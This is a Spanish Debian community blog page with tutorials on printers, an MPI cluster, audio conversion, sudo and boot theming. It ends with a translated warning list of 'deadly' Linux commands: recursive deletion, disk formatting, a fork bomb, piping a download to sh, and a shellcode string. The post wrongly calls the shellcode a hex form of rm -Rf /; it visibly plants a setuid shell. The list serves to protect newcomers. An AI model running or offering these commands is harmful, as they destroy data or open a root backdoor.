Noticias

Irc: Server: irc.freenode.org Canal: #debian-argentina
Webmail: http://mail.debian-ar.org/
Pedi tu cuenta enviando un correo: registro[arroba]debian-ar[punto]org


Configurar una multifunción I

Bueno, algo colgado con la facu trato de tener mi blog medianamente actualizado y seguir aportando un poco a debian-ar, por eso en este post voy a demostrale còmo configurar una multifunción en Debian (Lenny), tomando como ejemplo mi Epson TX400. En la primer parte de este tutorial veremos como configurar la impresora de este artefacto.

Lo primero que habría que realizar es instalar CUPS (Common Unix Printing System), que es el administrador de impresoras en GNU/Linux (algo parecido a panel de control > impresoras de Wintendo). Para eso ejecutamos en una terminal como root (o si quieren usar synaptic estan en todo su derecho je):
# aptitude install cups cups-client cups-common

Con eso tendriamos el administrador de impresoras instalado, el segundo paso sería averiguar què driver utiliza nuestro aparato, para eso vamos a esta página, sección printers y especificamos el modelo. En mi caso la Epson TX400. Una vez especificado modelo y fabricante les mostrará que driver necesita (gutenprint para mi Epson).

El driver puede ser descargado como rpm y deb tanto de 32 bits como 64. Una vez descargado pasaremos a instalarlo mediante dkpg, puede que les diga que falta instalar una dependencia (lsb) haganlo, instalen lsb.

Entonces el proceso sería este:

# aptitude install lsb

# dkpg -i gutenprint_5.0.1-1lsb3.1_i386.deb

Ahora, si todo anduvo bien el driver ya tiene que estar instalado en nuestro sistema. Entonces ya podemos proceder para configurar el artefacto. Ingresamos mediante un navegador web a la siguiente página http://localhost:631. Clickeamos en “añadir impresora” y nos mandará a una página de configuración por así decirlo, especificamos el nombre que le queremos dar a la impresora, le damos siguiente, especificamos la conexion (USB, LTP1,etc..) y nuevamente siguiente. Ahora aparecerá una lista con todas las impresoras agragadas por defecto a CUPS. Si su impresora aparece perfecto, en mi caso mi Epson TX400 no. Por lo que tuve que conseguir un archivo ppd y agregar la impresora a CUPS mediante ese archivo.

No se preocupen, para conseguir el archivo solo tienen que ir a la página del fabricante y descargar los drivers correspondientes a nuestro sistema, en mi caso la pagina de Epson es acá.

Ahora elijan el modelo de su multifunción, sistema operativo, versión y descargarguen en deb. Ahora procedamos con la creación de ppd:

# aptitude install libcupsys2

# dpkg -i pipslite_1.3.0-2_i386.deb

Generamos el archivo ppd:

# /usr/bin/pipslite-install

Una vez generado el archivo, volvemos a la página de cups donde nos pedia elegir el modelo de impresora y vamos a la parte donde dice “Archivo ppd” le damos examinar y lo buscamos en /usr/share/ppd. Nos pedirá loggin de root, y actualizara la página con un mensaje de “la impresora se ha añadido correctamente”.

Para probar abran un docuemnto de texto e impriman :)

Cluster LAM/MPI con Debian Etch

Podemos configurar un cluster de alto rendimiento en Debian utilizando la interfaz de paso de mensajes LAM/MPI.

Los prerrequisitos de este tutorial es disponer de una instalación básica de debian Etch, en nuestro caso hemos usado cinco máquinas (un frontend y cuatro nodos), aisladas en una red propia que se usará tan solo para el cluster de alto rendimiento, las hemos llamado: (10.11.12.1) debian-frontend, (10.11.12.2) debian-node1, (10.11.12.3) debian-node2, (10.11.12.4) debian-node3, (10.11.12.5) debian-node4. En cada una de las máquinas hemos creado un usuario al que hemos llamado “cluster”.

Una vez tengamos la instalación básica y comprobamos que tengan connectividad entre ellas y lleguen a un gateway con salida internet (para la instalación de paquetes con apt-get), procederemos a instalar el paquete build-essential en cada una de las máquinas para compilar LAM/MPI que nos descargaremos de la web oficial.

Así que en cada uno de los nodos ejecutaremos

apt-get install build-essential

En nuestro caso no vamos a usar C++ y no necesitamos Fortran para programar en el cluster, así que no necesitaremos el compilador Fortran, eso sí le especificaremos la opción –without-fc en el configure, compilamos también el paquete en cada una de las máquinas:

tar -xzvf lam-7.1.4.tar.gz
cd lam-7.1.4
./configure --without-fc && make && make install

Una vez tenemos LAM/MPI instalado en todas las máquinas, modificaremos el archivo .bashrc del usuario cluster, que encontraremos en la home de este /home/cluster/.bashrc, al final del archivo añadiremos las siguientes líneas:

PATH=/usr/local/lam/bin:$PATH
export PATH
PATH=/usr/local/lam/bin:$PATH
export PATH

Modificaremos en el frontend el archivo /etc/hosts donde le indicaremos donde están todos los nodos, y luego lo podemos copiar a los otros nodos:

127.0.0.1	localhost
10.11.12.1	debian-frontend
10.11.12.2      debian-node1
10.11.12.3      debian-node2
10.11.12.4      debian-node3
10.11.12.5      debian-node4

Una vez podamos localizar todos los nodos, debemos conseguir que el frontend pueda acceder usando ssh a todos los nodos sin necesidad de password, para ello nos vamos al nodo principal y ejecutaremos ssh-keygen:

ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/cluster/.ssh/id_rsa): [ENTER]
Enter passphrase (empty for no passphrase): [ENTER]
Enter same passphrase again: [ENTER]
Your identification has been saved in /home/cluster/.ssh/id_rsa.
Your public key has been saved in /home/cluster/.ssh/id_rsa.pub.
The key fingerprint is:
17:4f:9b:88:55:e2:dc:25:c3:74:01:c7:49:52:08:4f cluster@debian-frontend

Copiamos la clave a todos los nodos:

scp /home/cluster/.ssh/id_rsa.pub cluster@10.11.12.2:/home/cluster/
scp /home/cluster/.ssh/id_rsa.pub cluster@10.11.12.3:/home/cluster/
scp /home/cluster/.ssh/id_rsa.pub cluster@10.11.12.4:/home/cluster/
scp /home/cluster/.ssh/id_rsa.pub cluster@10.11.12.5:/home/cluster/

Accedemos a cada uno de los nodos y guardamos la clave:

cd /home/cluster/
mkdir .ssh
cat id_rsa.pub >> /home/cluster/.ssh/authorized_keys
rm id_rsa.pub

Nos volvemos al frontend, y comprobamos que podemos acceder a los hosts ejecutando un comando que debería mostrar el shell en uso sin necesidad de introducir ningún password:

rsh debian-node1 -n 'echo $SHELL'
/bin/bash
rsh debian-node2 -n 'echo $SHELL'
/bin/bash
[...]

Crearemos un archivo, al que yo he llamado boot_schema donde indicaremos todos los nodos del cluster, y el número de CPUs, si tenemos SMP le indicaremos dos CPU añadiendo cpu=2 despues del nodo (por ejemplo debian-node4 cpu=2):

#Mis nodos del cluster
debian-frontend
debian-node1
debian-node2
debian-node3
debian-node4

Momento de arrancar el cluster, para ello le pasaremos el archivo boot_schema que creamos en el paso anterior, y si todo ha ido bien veremos algo parecido a esto:

lamboot -v -ssi boot rsh boot_schema

LAM 7.1.4/MPI 2 C++/ROMIO - Indiana University

n-1<6023> ssi:boot:base:linear: booting n0 (debian-frontend)
n-1<6023> ssi:boot:base:linear: booting n1 (debian-node1)
n-1<6023> ssi:boot:base:linear: booting n2 (debian-node2)
n-1<6023> ssi:boot:base:linear: booting n3 (debian-node3)
n-1<6023> ssi:boot:base:linear: booting n4 (debian-node4)
n-1<6023> ssi:boot:base:linear: finished

Tenemos a nuestra disposición una suite de tests para probar nuestra instalación, pero que hay más bonito que empezar con un “Hola Mundo” en C para abrir nuestro apetito, para ello crearemos un archivo helloworld.c con el siguiente contenido, en un directorio al que he llamado test dentro de nuestra home:

#include <stdio.h>
#include <mpi.h>
int main(int argc, char *argv[]) {
	int rank, size;

	MPI_Init(&argc, &argv);
	MPI_Comm_rank(MPI_COMM_WORLD, &rank);
	MPI_Comm_size(MPI_COMM_WORLD, &size);
	printf("Hello, world! I am %d of %d\n", rank, size);
	MPI_Finalize();
	return 0;
}

Lo compilamos y pasamos el ejecutable a los otros nodos:

cd /home/cluster/test
mpicc helloworld.c -o helloworld
rsh debian-node1 -n 'mkdir /home/cluster/test'
scp hello 10.11.12.2:/home/cluster/test/
rsh debian-node2 -n 'mkdir /home/cluster/test'
scp hello 10.11.12.3:/home/cluster/test/
[...]

Hora de probar, deberíamos obtener un resultado como este (aunque no necesariamente en el mismo orden):

mpirun C hello
Hello, world! I am 0 of 5
Hello, world! I am 2 of 5
Hello, world! I am 1 of 5
Hello, world! I am 4 of 5
Hello, world! I am 3 of 5

Tenemos también como hemos dicho una suite de tests que nos permitiran comprobar el correcto funcionamiento de la instalación MPI:

cd /home/cluster
tar -xzvf lamtests-7.1.4.tar.gz
cd lamtests-7.1.4/
./configure
make

make -k check 2>&1 | tee check.out

Fuente

							

						

						
																	

							
							

								
									Ahora con kernel freeBSD								
							

							
							

								
								
Debian con kernel freeBSD:



En la lista, por lo que leo las dos nuevas arquitecturas  están disponibles en la rama inestable y experimental… habrá que esperar, sin embargo estos son los hermanitos:




    

  •  kfreebsd-i386 AKA GNU/kFreeBSD i386
    • 

  •  kfreebsd-amd64 AKA GNU/kFreeBSD amd64
    • 





El paquete añadido contiene la versión 5.3 del kernel junto con el parche para la conformidad de requisitos de Debian.


“The two new architectures (well, better named OS i think, as they use a different kernel) are available in unstable and experimental. We do start out empty, importing only what is needed to get a build running. For this reason you will not be able to directly use it immediately. Please wait until they catched up, which I expect to happen soon.”

[from: list]

							

						

						
																	

							
							

								
									Convertir audio en GNU/Linux								
							

							
							

								
								
En este post les propongo una manera muy geek de convertir de un formato de audio a otro. Lo publiqué en mi blog y me pareció buena idea compartirlo con la comunidad debianera de Argentina.


Si bien existen programas gtk que realizan la misma acción, todos esos son GUI’s de programas que se ejecutan en una terminal (ffmpeg, timidity, lame), por eso, como el teclado no muerde, les presento la forma de convertir formatos de audio mediante consola.


Antes de continuar deberíamos instalar los siguientes programas:

# aptitude install ffmpeg timidity lame


Antes de comenzar a realizar las conversiones voy a hacer algúnas aclaraciones “técnicas” con los parámetros de ffmpeg, lame y timidity. Si bien no son necesarios, ya que si no se aplican el archivo de salida va atener los mismos atributos que el de entrada, son útiles para enriquecer/empobrecer la calidad de la pista de audio, como así también para cambiar de mono a estereo o vicebersa.


El parámetro -ar (en ffmpeg) y -s (en timidity) corresponde a la frecuencia de muestreo y el valor mínimo es de 8000 hz, una calidad algo baja para archivos de audio.A continuación expreso algúnos valores (obtenidos de la WIkipedia) para que se guíen:


8000 hz: adecuado para la voz humana pero no para la reproducción musical.


22050 hz: adecuado para cd, vcd, svcd y archivos de audio.


48000 hz: adecuado para audio profesional (DVD y televisión digital).


96000 ó 192400 hz: adecuado para DVD y Blue-Ray.


El parámetro -ab (en ffmpeg) y -b (en lame) corresponde a la tasa de bits (bitrate) y los valores adeccuados para audio son los siguientes:


128 kbit/s: calidad satisfactoria para audio.


192 kbit/s: calidad buena para audio, muy utilizado en cd.


320 kbit/s: calidad máxima para audio.


El parámetro -ac (en ffmpeg) corresponde a la cantidad de canales de la pista de audio. Para mono el valor es 1, para estereo 2.


Con esto aclarado podemos comenzar a especificar como convertir formatos.


MP3 a MP3 


Esto sirve para bajar la calidad a la pista de audio.

$ lame -b 64 archivo_origen.mp3 archivo_modificado.mp3


MP3 a AMR 


Instala lo siguiente para poder llevar a cabo la conversión:

# aptitude install amr amr_wb


Ahora si, para convertir:

$ ffmpeg -i archivo.mp3 -acodec libamr_wb -ar 8000 -ac 1 -ab 12.2k  archivo.amr


MP3 a OGG 

$ ffmpeg -i archivo.mp3 archivo.ogg


MP3 a WAV 

$ ffmpeg -i archivo.mp3 archivo.wav


MP3 a WMA 

$ ffmpeg -i archivo.mp3 archivo.wma


WMA a MP3 

$ ffmpeg -i archivo.wma archivo.mp3


WAV a MP3 

$ ffmpeg -i archivo.wav archivo.mp3


AMR a MP3

$ ffmpeg -i archivo.amr -acodec libamr_wb -ar 8000 -ac 1 -ab 12.2k  archivo.mp3


MIDI a WAV

$ timidity -Ow -s 44100 -o archivo.wav archivo.mid


MIDI a OGG

$ timidity -Ow -s 44100 -o archivo.ogg archivo.mid



							

						

						
																	

							
							

								
									Linux Prodigio								
							

							
							

								
								
Buena publicidad de IBM


Esta pelicula requiere Falsh Player 8




							

						

						
																	

							
							

								
									Emulador de terminal Guake								
							

							
							

								
								
Hola a todos!!


En este post quiero contarles sobre esta aplicación llamada “Guake”

Este programa es un emulador de terminal que esta residente en memoria, con lo cual resulta más rápido utilizar la consola que ejecutándola desde un acceso directo.

Guake sigue la misma línea de Yakuake y Tilda, pero es un intento de combinar lo mejor de ellos en una sola aplicación basada en GTK. Guake se ha escrito desde cero.


Para poder instalar esta aplicación es necesario apuntar nuestros repositorios a la rama Testing, en la cual encontraran la versión 0.3.1 de dicho programa. Dando vueltas hay bastante información sobre como cambiar el sources.list de Debian a la rama Testing, pero si alguien tiene la duda… Ingresen como Root, hagan una copia del archivo /etc/apt/sources.list y luego editen y donde dice “stable” deben colocar “testing”. Luego deben ejecutar

# aptitude update


Para instalar el programa simplemente el siguiente comando:

# aptitude install guake


Luego de esto aptitude se encargara de instalar además unas dependencias para que el programa funcione correctamente.

Una vez finalizada la instalación encontraran el icono en “Aplicaciones/Accesorios/Guake Terminal” o bien pueden ejecutarlo desde la consola con el comando guake. Para desplegar la consola, por defecto, se usa la tecla F12.

No olviden restaurar la copia del archivo sources y ejecutar aptitude update para que los repositorios apunten a la versión Estable.


Espero que este Post les resulte útil tanto como a mi :-)


Aquí les dejo algunas capturas:


Terminal desplegada Guake

guake1


Panel de configuración Guake

guake2

							

						

						
																	

							
							

								
									Configurar Sudo								
							

							
							

								
								
Como algúnos ya sabrán, GNU/Linux no es un sistema en el que se esté trabajando constantemente como administrador, por lo que para realizar algúnas acciones deberían utilizar la terminal de root (Aplicaciones > Accesorios > Terminal de root).


Pero se puede dar el caso de que estemos trabajando en una terminal como un usuario normal, y de repente necesitemos llevar a cabo una acción que solicite permisos de administrador para realizarla. En estos casos es cuando aparece sudo. Sudo es una aplicación (común de los sistemas UNIX y deribados) que nos permite ejecutar acciones con los privilegios de otros ususarios, por lo general del usuario root.


En Debian no viene instalado y configurado por defecto este programa, pero no desesperen porque gracias a Dios viene en los repositorios, por lo que basta con ejecutar:


# aptitude install sudo


Una vez con el sudo instalado deberemos agregar nuestro usuario en la sección “User privilege specification” en el archivo /etc/sudoers, de tal forma que la sección quede así:


# User privilege specification

root	ALL=(ALL) ALL

tu_usuario  ALL=(ALL) ALL


Una vez configurado esto, ya podremos ejecutar acciones de administrador desde una terminal común, anteponiendo el sudo a la acción a realizar.

							

						

						
																	

							
							

								
									Enchulando el arranque del sistema con Startupmanager								
							

							
							

								
								
Startup Manager es un programa que nos permite gestionar, por decirlo de alguna manera, el inicio de nuestro sistema. Si bien tiene muchas utilidades como:  la de proteger el GRUB con contraseña, cambiar el tiempo de espera del GRUB y otras cosas más relacionadas, en este artículo veremos solamente dos funcionalidades,  referidas al “enchule” como lo indica el título.


Pero antes de comenzar a hablar de ¿cómo hacer para agregar una imagen al GRUB? o ¿cómo cambiar el Uspalsh de inicio?, deberemos instalar el programa, que ya viene agregado en los repositorios oficiales, por lo que solo basta ejecutar:


# aptitude install startupmanager


Una vez instalado lo buscamos en Sistema > Administración > Administrador de Arranque. Nos pedirá contraseña de root y luego se abrirá el programa, que se ve algo así:


pantallazo-administrador-de-arranque


Bueno ahora si, vamos a realizar los cambios que mencionaba antes.


¿Cómo cambiar la imagen del GRUB?


Bueno, es sencillo, lo primero es escoger una imagen que nos agrade para insertarla en el GRUB. Recominedo buscar en www.gnomelook.org o también pueden intentar por Google.


Aclaremos que los formatos de las imagenes son “.xpm” y suelen venir archivados dentro de un “.gz” (para que nadie se asuste).


Una vez que ya tengamos nuestra imagen debemos colocarla en el directorio /boot/grub/splashimages. Iniciamos el programa y nos dirgimos a la solapa Aspecto, tildamos la opción Usar una imagen de fondo para el menú del Cargador de arranque. Pulsen el botón que dice Administrar temas del Cargador de arranque  y en la nueva ventana que se les aparece selecciones añadir y ahora solo búsquen el archivo .xpm alojado en /boot/grub/splashimages.


Para seleccionar la imagen desplieguen la solapa de Imagen de fondo del GRUB y tilden la foto que agregaron en el paso anterior.


Reinicien el sistema y observen su nueva imagen de fondo del GRUB.


¿Cómo cambiar el usplash?.


Primero y antes que nada, para los que no saben que es el Usplash, les explico rapidito,que es la imagen que suele aparecer en muchos sistemas operativos a la hora de iniciarse este. Por ejemplo, en Window$ aparece en un fondo negro, con el logo del sistema y la barra de carga azul, o para lo más “alinuxados”, en Ubuntu aparece como una pantalla negra con el logo de Ubuntu y la barra de carga naranja.


Bueno con esa pequeña introducción ya podemos empezar por instalar el usplash de la siguiente manera:


# aptitude install usplash


Ahora, búsquen algún usplash que quisieran tener en las páginas que mencioné anteriormente. Les aclaro que los archivos deben ser de extensión “.so” y también pueden venir contenidos en archivadores.


Una vez que tengan sus imagenes para el usplash, coloquenlas en una carpeta oculta en su /home llamada usplash, para mantenerlos todos alojados ahí de una manera ordenada (esto es una cuestión mía, uds. guardenlos donde más les guste).


Para configurar la imagen como usplash, entren al Startup Manager, solapa Aspecto. Busquen y añadan la imagen desde Administrar temas de Usplash y seleccionenla desde la solapa de Tema Usplash.


Reinicien y disfruten los cambios.

							

						

						
																	

							
							

								
									El virus murciano (ojo afecta a GNU/Linux!)								
							

							
							

								
								
virus español

							

						

						
																	

							
							

								
									7 comandos mortales en Linux								
							

							
							

								
								
img30


Esta es una traducción de el interesante artículo “The 7 Deadly Linux Commands” publicado originalmente por Tech Source from Bohol:


Si eres nuevo en Linux, es probable que en algún momento te encuentres en algún foro o una sala de chat, con una persona malintencionada y poco inteligente que pretenda engañarte para que utilices comandos que puedan dañar tus archivos o incluso arruinar todo tu sistema operativo. Para evitar que se presente este peligroso escenario, he aquí una lista de comandos mortales en Linux que deberian ser evitados:


1. Comando:


# rm -Rf / 


Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.


2. Comando:


char esp[] __attribute__ ((section(”.text”))) /* e.s.p

release */

= “’xeb’x3e’x5b’x31’xc0’x50’x54’x5a’x83’xec’x64’x68?

“’xff’xff’xff’xff’x68’xdf’xd0’xdf’xd9’x68’x8d’x99?

“’xdf’x81’x68’x8d’x92’xdf’xd2’x54’x5e’xf7’x16’xf7?

“’x56’x04’xf7’x56’x08’xf7’x56’x0c’x83’xc4’x74’x56?

“’x8d’x73’x08’x56’x53’x54’x59’xb0’x0b’xcd’x80’x31?

“’xc0’x40’xeb’xf9’xe8’xbd’xff’xff’xff’x2f’x62’x69?

“’x6e’x2f’x73’x68’x00’x2d’x63’x00?

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;


Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.


3. Comando:


# mkfs.ext3 /dev/sda 


Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.


4. Comando:


:(){:|:&};: 


La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.


5. Comando:


cualquier_comando > /dev/sda 


Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.


6. Comando:


wget http://fuente_de_origen_inseguro -O- | sh 


Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.


7. Comando:


mv /home/tudirectoriodeusuario/* /dev/null 


Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.


Hay una gran cantidad de comandos igualmente mortales, los cuales pudieron omitirse en esta lista, por eso si tienes alguno para agregar, por favor compartelo con nosotros a traves de un comentario.


Fuente

							

						

						
										
					
					

					

						
« Entradas pasadas